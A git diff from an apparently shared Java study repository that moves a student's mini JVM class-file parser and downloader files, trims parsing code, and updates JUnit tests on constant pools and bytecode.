-    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
-    	
-    	
-    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
-    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
-    }
-    
-    /**
-     * 下面是第三次JVM课应实现的测试用例
-     */
-    @Test
-    public void testReadFields(){
-   
-    	List<Field> fields = clzFile.getFields();
-    	Assert.assertEquals(2, fields.size());
-    	System.out.println("field_size:"+fields.size());
-    	{
-    		Field f = fields.get(0);
-    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
-    	}
-    	{
-    		Field f = fields.get(1);
-    		Assert.assertEquals("age:I", f.toString());
-    	}
-    }
-    @Test
-    public void testMethods(){
-   
-    	List<Method> methods = clzFile.getMethods();
-    	ConstantPool pool = clzFile.getConstantPool();
-    	System.out.println("methods_size:"+methods.size());
-    	
-    	{
-    		Method m = methods.get(0);
-    		assertMethodEquals(pool,m,
-    				"<init>",
-    				"(Ljava/lang/String;I)V",
-    				"2ab7000c2a2bb5000f2a1cb50011b1");
-    		
-    	}
-    	{
-    		Method m = methods.get(1);    
-    		assertMethodEquals(pool,m,
-    				"setName",
-    				"(Ljava/lang/String;)V",
-    				"2a2bb5000fb1");
-    		
-    	}
-    	{
-    		Method m = methods.get(2);    
-    		assertMethodEquals(pool,m,
-    				"setAge",
-    				"(I)V",
-    				"2a1bb50011b1");
-    	}
-    	{
-    		Method m = methods.get(3); 
-    		assertMethodEquals(pool,m,
-    				"sayHello",
-    				"()V",
-    				"b2001c1222b60024b1");
-    		
-    	}
-    	{
-    		Method m = methods.get(4);    
-    		assertMethodEquals(pool,m,
-    				"main",
-    				"([Ljava/lang/String;)V",
-    				"bb000159122b101db7002d4c2bb6002fb1");
-    	}
-    }
-    
-    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
-    	String methodName = pool.getUTF8String(m.getNameIndex());
-		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
-		String code = m.getCodeAttr().getCode();
-		Assert.assertEquals(expectedName, methodName);
-		Assert.assertEquals(expectedDesc, methodDesc);
-		Assert.assertEquals(expectedCode, code);
-    }
-    
-    /*第四次测试代码*/
-    
-    @Test
-    public void testByteCodeCommand(){
-    	{
-	    	Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
-	    	ByteCodeCommand [] cmds = initMethod.getCmds();
-	    	
-	    	assertOpCodeEquals("0: aload_0", cmds[0]);
-	    	assertOpCodeEquals("1: invokespecial #12", cmds[1]);
-	    	assertOpCodeEquals("4: aload_0", cmds[2]);
-	    	assertOpCodeEquals("5: aload_1", cmds[3]);
-	    	assertOpCodeEquals("6: putfield #15", cmds[4]);
-	    	assertOpCodeEquals("9: aload_0", cmds[5]);
-	    	assertOpCodeEquals("10: iload_2", cmds[6]);
-	    	assertOpCodeEquals("11: putfield #17", cmds[7]);
-	    	assertOpCodeEquals("14: return", cmds[8]);
-    	}
-    	
-    	{
-	    	Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
-	    	ByteCodeCommand [] cmds = setNameMethod.getCmds();
-	    	
-	    	assertOpCodeEquals("0: aload_0", cmds[0]);
-	    	assertOpCodeEquals("1: aload_1", cmds[1]);
-	    	assertOpCodeEquals("2: putfield #15", cmds[2]);
-	    	assertOpCodeEquals("5: return", cmds[3]);
-	    	
-    	}
-    	
-    	{
-	    	Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
-	    	ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
-	    	
-	    	assertOpCodeEquals("0: getstatic #28", cmds[0]);
-	    	assertOpCodeEquals("3: ldc #34", cmds[1]);
-	    	assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
-	    	assertOpCodeEquals("8: return", cmds[3]);
-	    	
-    	}
-    	
-    	{
-	    	Method mainMethod = this.clzFile.getMainMethod();
-	    	
-	    	ByteCodeCommand [] cmds = mainMethod.getCmds();
-	    	
-	    	assertOpCodeEquals("0: new #1", cmds[0]);
-	    	assertOpCodeEquals("3: dup", cmds[1]);
-	    	assertOpCodeEquals("4: ldc #43", cmds[2]);
-	    	assertOpCodeEquals("6: bipush 29", cmds[3]);
-	    	assertOpCodeEquals("8: invokespecial #45", cmds[4]);
-	    	assertOpCodeEquals("11: astore_1", cmds[5]);
-	    	assertOpCodeEquals("12: aload_1", cmds[6]);
-	    	assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
-	    	assertOpCodeEquals("16: return", cmds[8]);
-    	}
-    	
-    }
-   
-    private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
-    	
-    	String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
-    	
-    	if(cmd instanceof OneOperandCmd){
-    		if(cmd instanceof BiPushCmd){
-    			acctual += " " + ((OneOperandCmd)cmd).getOperand();
-    		} else{
-    			acctual += " #" + ((OneOperandCmd)cmd).getOperand();
-    		}
-    	}
-    	if(cmd instanceof TwoOperandCmd){
-    		acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
-    	}
-    	Assert.assertEquals(expected, acctual);
-    }
-}
diff --git a/group27/383117348/data-structure/com/coderising/download/DownloadThread.java b/group27/383117348/src/com/coderising/download/DownloadThread.java
similarity index 100%
rename from group27/383117348/data-structure/com/coderising/download/DownloadThread.java
rename to group27/383117348/src/com/coderising/download/DownloadThread.java
diff --git a/group27/383117348/data-structure/com/coderising/download/FileDownloader.java b/group27/383117348/src/com/coderising/download/FileDownloader.java
similarity index 100%
rename from group27/383117348/data-structure/com/coderising/download/FileDownloader.java
rename to group27/383117348/src/com/coderising/download/FileDownloader.java
diff --git a/group27/383117348/data-structure/com/coderising/download/FileDownloaderTest.java b/group27/383117348/src/com/coderising/download/FileDownloaderTest.java
similarity index 100%
rename from group27/383117348/data-structure/com/coderising/download/FileDownloaderTest.java
rename to group27/383117348/src/com/coderising/download/FileDownloaderTest.java
diff --git a/group27/383117348/data-structure/com/coderising/download/api/Connection.java b/group27/383117348/src/com/coderising/download/api/Connection.java
similarity index 100%
rename from group27/383117348/data-structure/com/coderising/download/api/Connection.java
rename to group27/383117348/src/com/coderising/download/api/Connection.java
diff --git a/group27/383117348/data-structure/com/coderising/download/api/ConnectionException.java b/group27/383117348/src/com/coderising/download/api/ConnectionException.java
similarity index 100%
rename from group27/383117348/data-structure/com/coderising/download/api/ConnectionException.java
rename to group27/383117348/src/com/coderising/download/api/ConnectionException.java
diff --git a/group27/383117348/data-structure/com/coderising/download/api/ConnectionManager.java b/group27/383117348/src/com/coderising/download/api/ConnectionManager.java
similarity index 100%
rename from group27/383117348/data-structure/com/coderising/download/api/ConnectionManager.java
rename to group27/383117348/src/com/coderising/download/api/ConnectionManager.java
diff --git a/group27/383117348/data-structure/com/coderising/download/api/DownloadListener.java b/group27/383117348/src/com/coderising/download/api/DownloadListener.java
similarity index 100%
rename from group27/383117348/data-structure/com/coderising/download/api/DownloadListener.java
rename to group27/383117348/src/com/coderising/download/api/DownloadListener.java
diff --git a/group27/383117348/data-structure/com/coderising/download/impl/ConnectionImpl.java b/group27/383117348/src/com/coderising/download/impl/ConnectionImpl.java
similarity index 100%
rename from group27/383117348/data-structure/com/coderising/download/impl/ConnectionImpl.java
rename to group27/383117348/src/com/coderising/download/impl/ConnectionImpl.java
diff --git a/group27/383117348/data-structure/com/coderising/download/impl/ConnectionManagerImpl.java b/group27/383117348/src/com/coderising/download/impl/ConnectionManagerImpl.java
similarity index 100%
rename from group27/383117348/data-structure/com/coderising/download/impl/ConnectionManagerImpl.java
rename to group27/383117348/src/com/coderising/download/impl/ConnectionManagerImpl.java
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/clz/AccessFlag.java b/group27/383117348/src/com/coderising/jvm/clz/AccessFlag.java
similarity index 100%
rename from group27/383117348/mini-jvm/com/coderising/jvm/clz/AccessFlag.java
rename to group27/383117348/src/com/coderising/jvm/clz/AccessFlag.java
diff --git a/group17/102228177/work4_09/src/com/coderising/jvm/clz/ClassFile.java b/group27/383117348/src/com/coderising/jvm/clz/ClassFile.java
similarity index 95%
rename from group17/102228177/work4_09/src/com/coderising/jvm/clz/ClassFile.java
rename to group27/383117348/src/com/coderising/jvm/clz/ClassFile.java
index 650ca8375d..1b5a8b95a6 100644
--- a/group17/102228177/work4_09/src/com/coderising/jvm/clz/ClassFile.java
+++ b/group27/383117348/src/com/coderising/jvm/clz/ClassFile.java
@@ -1,75 +1,75 @@
-package com.coderising.jvm.clz;
-
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-
-public class ClassFile {
-	
-	private int minorVersion;
-	private int majorVersion;
-	
-	private AccessFlag accessFlag;
-	private ClassIndex clzIndex;
-	private ConstantPool pool;
-	
-	
-	public ClassIndex getClzIndex() {
-		return clzIndex;
-	}
-	public AccessFlag getAccessFlag() {
-		return accessFlag;
-	}
-	public void setAccessFlag(AccessFlag accessFlag) {
-		this.accessFlag = accessFlag;
-	}
-	
-	
-	
-	public ConstantPool getConstantPool() {		
-		return pool;
-	}
-	public int getMinorVersion() {
-		return minorVersion;
-	}
-	public void setMinorVersion(int minorVersion) {
-		this.minorVersion = minorVersion;
-	}
-	public int getMajorVersion() {
-		return majorVersion;
-	}
-	public void setMajorVersion(int majorVersion) {
-		this.majorVersion = majorVersion;
-	}
-	public void setConstPool(ConstantPool pool) {
-		this.pool = pool;
-		
-	}
-	public void setClassIndex(ClassIndex clzIndex) {
-		this.clzIndex = clzIndex;		
-	}
-	
-	
-	
-	
-	public void print(){
-		
-		if(this.accessFlag.isPublicClass()){
-			System.out.println("Access flag : public  ");
-		}
-		System.out.println("Class Name:"+ getClassName());
-		
-		System.out.println("Super Class Name:"+ getSuperClassName());
-		
-		
-	}
-	
-	private String getClassName(){
-		int thisClassIndex = this.clzIndex.getThisClassIndex();
-		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
-		return thisClass.getClassName();
-	}
-	private String getSuperClassName(){
-		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
-		return superClass.getClassName();
-	}
-}
+package com.coderising.jvm.clz;
+
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class ClassFile {
+	
+	private int minorVersion;
+	private int majorVersion;
+	
+	private AccessFlag accessFlag;
+	private ClassIndex clzIndex;
+	private ConstantPool pool;
+	
+	
+	public ClassIndex getClzIndex() {
+		return clzIndex;
+	}
+	public AccessFlag getAccessFlag() {
+		return accessFlag;
+	}
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+	
+	
+	
+	public ConstantPool getConstantPool() {		
+		return pool;
+	}
+	public int getMinorVersion() {
+		return minorVersion;
+	}
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
+	public int getMajorVersion() {
+		return majorVersion;
+	}
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
+	}
+	public void setConstPool(ConstantPool pool) {
+		this.pool = pool;
+		
+	}
+	public void setClassIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;		
+	}
+	
+	
+	
+	
+	public void print(){
+		
+		if(this.accessFlag.isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ getClassName());
+		
+		System.out.println("Super Class Name:"+ getSuperClassName());
+		
+		
+	}
+	
+	private String getClassName(){
+		int thisClassIndex = this.clzIndex.getThisClassIndex();
+		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
+		return thisClass.getClassName();
+	}
+	private String getSuperClassName(){
+		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+		return superClass.getClassName();
+	}
+}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/clz/ClassIndex.java b/group27/383117348/src/com/coderising/jvm/clz/ClassIndex.java
similarity index 100%
rename from group27/383117348/mini-jvm/com/coderising/jvm/clz/ClassIndex.java
rename to group27/383117348/src/com/coderising/jvm/clz/ClassIndex.java
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/constant/ClassInfo.java b/group27/383117348/src/com/coderising/jvm/constant/ClassInfo.java
similarity index 100%
rename from group27/383117348/mini-jvm/com/coderising/jvm/constant/ClassInfo.java
rename to group27/383117348/src/com/coderising/jvm/constant/ClassInfo.java
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/constant/ConstantInfo.java b/group27/383117348/src/com/coderising/jvm/constant/ConstantInfo.java
similarity index 100%
rename from group27/383117348/mini-jvm/com/coderising/jvm/constant/ConstantInfo.java
rename to group27/383117348/src/com/coderising/jvm/constant/ConstantInfo.java
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/constant/ConstantPool.java b/group27/383117348/src/com/coderising/jvm/constant/ConstantPool.java
similarity index 100%
rename from group27/383117348/mini-jvm/com/coderising/jvm/constant/ConstantPool.java
rename to group27/383117348/src/com/coderising/jvm/constant/ConstantPool.java
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/constant/FieldRefInfo.java b/group27/383117348/src/com/coderising/jvm/constant/FieldRefInfo.java
similarity index 100%
rename from group27/383117348/mini-jvm/com/coderising/jvm/constant/FieldRefInfo.java
rename to group27/383117348/src/com/coderising/jvm/constant/FieldRefInfo.java
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/constant/FloatInfo.java b/group27/383117348/src/com/coderising/jvm/constant/FloatInfo.java
similarity index 100%
rename from group27/383117348/mini-jvm/com/coderising/jvm/constant/FloatInfo.java
rename to group27/383117348/src/com/coderising/jvm/constant/FloatInfo.java
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/constant/IntegerInfo.java b/group27/383117348/src/com/coderising/jvm/constant/IntegerInfo.java
similarity index 100%
rename from group27/383117348/mini-jvm/com/coderising/jvm/constant/IntegerInfo.java
rename to group27/383117348/src/com/coderising/jvm/constant/IntegerInfo.java
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/constant/MethodRefInfo.java b/group27/383117348/src/com/coderising/jvm/constant/MethodRefInfo.java
similarity index 100%
rename from group27/383117348/mini-jvm/com/coderising/jvm/constant/MethodRefInfo.java
rename to group27/383117348/src/com/coderising/jvm/constant/MethodRefInfo.java
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/constant/NameAndTypeInfo.java b/group27/383117348/src/com/coderising/jvm/constant/NameAndTypeInfo.java
similarity index 100%
rename from group27/383117348/mini-jvm/com/coderising/jvm/constant/NameAndTypeInfo.java
rename to group27/383117348/src/com/coderising/jvm/constant/NameAndTypeInfo.java
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/constant/NullConstantInfo.java b/group27/383117348/src/com/coderising/jvm/constant/NullConstantInfo.java
similarity index 100%
rename from group27/383117348/mini-jvm/com/coderising/jvm/constant/NullConstantInfo.java
rename to group27/383117348/src/com/coderising/jvm/constant/NullConstantInfo.java
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/constant/StringInfo.java b/group27/383117348/src/com/coderising/jvm/constant/StringInfo.java
similarity index 100%
rename from group27/383117348/mini-jvm/com/coderising/jvm/constant/StringInfo.java
rename to group27/383117348/src/com/coderising/jvm/constant/StringInfo.java
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/constant/UTF8Info.java b/group27/383117348/src/com/coderising/jvm/constant/UTF8Info.java
similarity index 100%
rename from group27/383117348/mini-jvm/com/coderising/jvm/constant/UTF8Info.java
rename to group27/383117348/src/com/coderising/jvm/constant/UTF8Info.java
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/loader/ByteCodeIterator.java b/group27/383117348/src/com/coderising/jvm/loader/ByteCodeIterator.java
similarity index 73%
rename from group27/383117348/mini-jvm/com/coderising/jvm/loader/ByteCodeIterator.java
rename to group27/383117348/src/com/coderising/jvm/loader/ByteCodeIterator.java
index 8e85a3d0ab..2688ae5810 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/loader/ByteCodeIterator.java
+++ b/group27/383117348/src/com/coderising/jvm/loader/ByteCodeIterator.java
@@ -48,20 +48,4 @@ private byte[] getByteBySize(int size){
 		}
 		return by;
 	}
-
-	public String nextUxToHexString(int len) {
-		byte[] tmp = new byte[len];
-
-		for (int i = 0; i < len; i++) {
-			tmp[i] = code[pos++];
-		}
-		return Util.byteToHexString(tmp).toLowerCase();
-
-	}
-	public int getPos(){
-		return pos;
-	}
-	public void back(int n) {
-		this.pos -= n;
-	}
 }
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/loader/ClassFileLoader.java b/group27/383117348/src/com/coderising/jvm/loader/ClassFileLoader.java
similarity index 100%
rename from group27/383117348/mini-jvm/com/coderising/jvm/loader/ClassFileLoader.java
rename to group27/383117348/src/com/coderising/jvm/loader/ClassFileLoader.java
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/loader/ClassFileLoader_backup.java b/group27/383117348/src/com/coderising/jvm/loader/ClassFileLoader_backup.java
similarity index 100%
rename from group27/383117348/mini-jvm/com/coderising/jvm/loader/ClassFileLoader_backup.java
rename to group27/383117348/src/com/coderising/jvm/loader/ClassFileLoader_backup.java
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/loader/ClassFileParser.java b/group27/383117348/src/com/coderising/jvm/loader/ClassFileParser.java
similarity index 75%
rename from group27/383117348/mini-jvm/com/coderising/jvm/loader/ClassFileParser.java
rename to group27/383117348/src/com/coderising/jvm/loader/ClassFileParser.java
index 970c06e082..209ee78d36 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/loader/ClassFileParser.java
+++ b/group27/383117348/src/com/coderising/jvm/loader/ClassFileParser.java
@@ -1,8 +1,6 @@
 package com.coderising.jvm.loader;
 
 import java.io.UnsupportedEncodingException;
-import java.util.ArrayList;
-import java.util.List;
 
 import com.coderising.jvm.clz.AccessFlag;
 import com.coderising.jvm.clz.ClassFile;
@@ -17,8 +15,6 @@
 import com.coderising.jvm.constant.NullConstantInfo;
 import com.coderising.jvm.constant.StringInfo;
 import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.field.Field;
-import com.coderising.jvm.method.Method;
 
 public class ClassFileParser {
 	
@@ -37,23 +33,12 @@ public ClassFile parse(byte[] codes) {
 		ConstantPool constant = parseConstantPool(by);
 		AccessFlag flag = parseAccessFlag(by);
 		ClassIndex index = parseClassIndex(by);
-		parseInterfaces(by);
+		
 		file.setMinorVersion(minVersion);
 		file.setMajorVersion(majorVersion);
 		file.setAccessFlag(flag);
 		file.setClassIndex(index);
 		file.setConstPool(constant);
-		List<Field> fields = parseField(by,constant);
-		List<Method> methods = parseMethod(by,file);
-		
-		
-		for(Field field:fields){
-			file.addField(field);
-		}
-		for(Method method:methods){
-			file.addMethod(method);
-		}
-
 		return file;
 	}
 
@@ -120,32 +105,6 @@ private ConstantPool parseConstantPool(ByteCodeIterator iter) {
 	        }
 	        return pool;
 	}
-	
-	private void parseInterfaces(ByteCodeIterator iter) {
-		int interfaceCount = iter.nextU2Int();
-		System.out.println("interfaceCount:" + interfaceCount);
-	}
-	
-	private List<Field> parseField(ByteCodeIterator by,ConstantPool pool) {
-		// TODO Auto-generated method stub
-		List<Field> result = new ArrayList<Field>();
-		int fieldCount = by.nextU2Int();
-		for(int i=0;i<fieldCount;i++){
-			Field field = Field.parse(pool, by);
-			result.add(field);
-		}
-		return result;
-	}
-
-	private List<Method> parseMethod(ByteCodeIterator by,ClassFile file) {
-		// TODO Auto-generated method stub
-		List<Method> result = new ArrayList<Method>();
-		int methodCount = by.nextU2Int();
-		for(int i=0;i<methodCount;i++){
-			Method method = Method.parse(file, by);
-			result.add(method);
-		}
-		return result;
-	}
 
+	
 }
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group27/383117348/src/com/coderising/jvm/test/ClassFileloaderTest.java
similarity index 94%
rename from group17/102228177/work4_16/src/com/coderising/jvm/test/ClassFileloaderTest.java
rename to group27/383117348/src/com/coderising/jvm/test/ClassFileloaderTest.java
index 3afc6ee711..ff026ee819 100644
--- a/group17/102228177/work4_16/src/com/coderising/jvm/test/ClassFileloaderTest.java
+++ b/group27/383117348/src/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -1,203 +1,198 @@
-package com.coderising.jvm.test;
-
-import org.junit.After;
-import  org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.clz.ClassIndex;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.loader.ClassFileLoader;
-
-
-
-
-
-public class ClassFileloaderTest {
-
-	
-	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
-	
-//	static String path1 = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
-	static String path1 = "D:\\workspace\\work4_16\\bin";
-	static String path2 = "C:\temp";
-	
-	static ClassFile clzFile = null;
-	static {
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
-		clzFile = loader.loadClass(className);
-		clzFile.print();
-	}
-	
-	
-	@Before
-	public void setUp() throws Exception {		 
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-	
-	@Test
-	public void testClassPath(){		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		loader.addClassPath(path2);
-		
-		String clzPath = loader.getClassPath();
-		
-		Assert.assertEquals(path1+";"+path2,clzPath);
-		
-	}
-	
-	@Test
-	public void testClassFileLength() {		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
-		byte[] byteCodes = loader.readBinaryCode(className);
-		
-		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
-		Assert.assertEquals(1056, byteCodes.length);
-		
-	}
-	
-	
-    @Test	
-	public void testMagicNumber(){
-    	ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		byte[] byteCodes = loader.readBinaryCode(className);
-		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
-		
-		
-		String acctualValue = this.byteToHexString(codes);
-		
-		Assert.assertEquals("cafebabe", acctualValue);
-	}
-    
-    
-    
-   	private String byteToHexString(byte[] codes ){
-   		StringBuffer buffer = new StringBuffer();
-   		for(int i=0;i<codes.length;i++){
-   			byte b = codes[i];
-   			int value = b & 0xFF;
-   			String strHex = Integer.toHexString(value);
-   			if(strHex.length()< 2){
-   				strHex = "0" + strHex;
-   			}		
-   			buffer.append(strHex);
-   		}
-   		return buffer.toString();
-   	}
-    
-    /**
-     * ----------------------------------------------------------------------
-     */
-    
-    
-    @Test
-    public void testVersion(){    			
-		
-		Assert.assertEquals(0, clzFile.getMinorVersion());
-		Assert.assertEquals(51, clzFile.getMajorVersion());
-		
-    }
-    
-    @Test
-    public void testConstantPool(){
-    	
-
-		ConstantPool pool = clzFile.getConstantPool();
-		
-		Assert.assertEquals(53, pool.getSize());
-	
-		{
-			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
-			Assert.assertEquals(2, clzInfo.getUtf8Index());
-			
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
-			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
-		}
-		{
-			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
-			Assert.assertEquals(4, clzInfo.getUtf8Index());
-			
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
-			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
-		}
-		{
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
-			Assert.assertEquals("name", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(6);
-			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(7);
-			Assert.assertEquals("age", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(8);
-			Assert.assertEquals("I", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(9);
-			Assert.assertEquals("<init>", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(10);
-			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(11);
-			Assert.assertEquals("Code", utf8Info.getValue());
-		}
-		
-		{
-			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
-			Assert.assertEquals(3, methodRef.getClassInfoIndex());
-			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
-		}
-		
-		{
-			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
-			Assert.assertEquals(9, nameAndType.getIndex1());
-			Assert.assertEquals(14, nameAndType.getIndex2());
-		}
-		//抽查几个吧
-		{
-			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
-			Assert.assertEquals(1, methodRef.getClassInfoIndex());
-			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
-		}
-		
-		{
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
-			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
-		}
-    }
-    @Test
-    public void testClassIndex(){
-    	
-    	ClassIndex clzIndex = clzFile.getClzIndex();
-    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
-    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
-    	
-    	
-    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
-    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
-    }
-    
-   
-
-}
+package com.coderising.jvm.test;
+
+import org.junit.After;
+import  org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ClassFileLoader;
+
+public class ClassFileloaderTest {
+
+	
+	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
+	
+	static String path1 = "E:\\MyGit\\coding2017\\group27\\383117348\\bin";
+	static String path2 = "C:\temp";
+	
+	static ClassFile clzFile = null;
+	static {
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		clzFile = loader.loadClass(className);
+		clzFile.print();
+	}
+	
+	
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testClassPath(){		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		
+		String clzPath = loader.getClassPath();
+		
+		Assert.assertEquals(path1+";"+path2,clzPath);
+		
+	}
+	
+	@Test
+	public void testClassFileLength() {		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		byte[] byteCodes = loader.readBinaryCode(className);
+		
+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(1056, byteCodes.length);
+		
+	}
+	
+	
+    @Test	
+	public void testMagicNumber(){
+    	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		
+		
+		String acctualValue = this.byteToHexString(codes);
+		
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+    
+    
+    
+   	private String byteToHexString(byte[] codes ){
+   		StringBuffer buffer = new StringBuffer();
+   		for(int i=0;i<codes.length;i++){
+   			byte b = codes[i];
+   			int value = b & 0xFF;
+   			String strHex = Integer.toHexString(value);
+   			if(strHex.length()< 2){
+   				strHex = "0" + strHex;
+   			}		
+   			buffer.append(strHex);
+   		}
+   		return buffer.toString();
+   	}
+    
+    /**
+     * ----------------------------------------------------------------------
+     */
+    
+    
+    @Test
+    public void testVersion(){    			
+		
+		Assert.assertEquals(0, clzFile.getMinorVersion());
+		Assert.assertEquals(52, clzFile.getMajorVersion());
+		
+    }
+    
+    @Test
+    public void testConstantPool(){
+    	
+
+		ConstantPool pool = clzFile.getConstantPool();
+		
+		Assert.assertEquals(53, pool.getSize());
+	
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+			Assert.assertEquals(2, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
